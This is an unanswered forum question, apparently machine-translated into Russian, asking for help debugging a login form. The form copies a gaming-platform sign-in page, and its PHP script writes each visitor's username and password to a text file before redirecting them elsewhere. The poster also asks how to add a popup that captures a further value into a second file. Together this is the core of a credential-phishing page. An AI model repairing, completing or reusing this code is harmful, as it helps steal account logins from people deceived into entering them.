Member 13710251 Ответов: 0

Отправить данные регистрационной формы в txt


Привет, я пытаюсь закодировать HTML-форму входа в систему, которая отправляет данные из Логинов в txt-файл.
Однако это не работает. Он не показывает никаких признаков того, что что-то происходит после нажатия кнопки входа в систему (например, введенная информация не исчезает), и логин не появляется в моем txt-файле
Вот код, который у меня сейчас есть:
HTML:
<form name="login" action="login.php" method="POST" id="login_form" style="display: none;">
							<div class="login_row">
								<div class="input_title">Account name</div>
								<input class="text_input" type="text" name="username" id="input_username" value="">
							</div>
							<div class="login_row">
								<div class="input_title">Password</div>
								<input class="text_input" type="password" name="password" id="input_password" autocomplete="off"/>
							</div>
															<div class="login_row">
									<div class="input_title" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select "Logout" from the account menu.  This feature is only available to verified accounts.">
										<input type="checkbox" name="remember_login" id="remember_login" >
										<label for="remember_login">Remember me on this computer</label>
									</div>
								</div>
							<div style="display: none;"><input type="submit"></div>
						</form>

РНР:
<html>
 <head>
  <title>Login</title>
 </head>
 <body>

<?php

//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){

$myFile = "data.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);

} ?>


//goes here after
<script>location.href='YOURWEBSITEHERE';</script>
	 
 </body>
</html>


Кроме того, я искал и не могу найти ничего достаточно глубокого, чтобы описать это мне:
Могу ли я сделать так, чтобы наряду с вводом регистрационных данных в txt-файл при отправке появлялось всплывающее окно, которое также имеет текстовое поле, которое (при отправке) добавляет значение в другой txt-файл? Спасибо!

Что я уже пробовал:

Я попытался убедиться, что имя action= совпадает с именем php-файла, и это на самом деле ничего не меняет. Что я делаю не так?

0 Ответов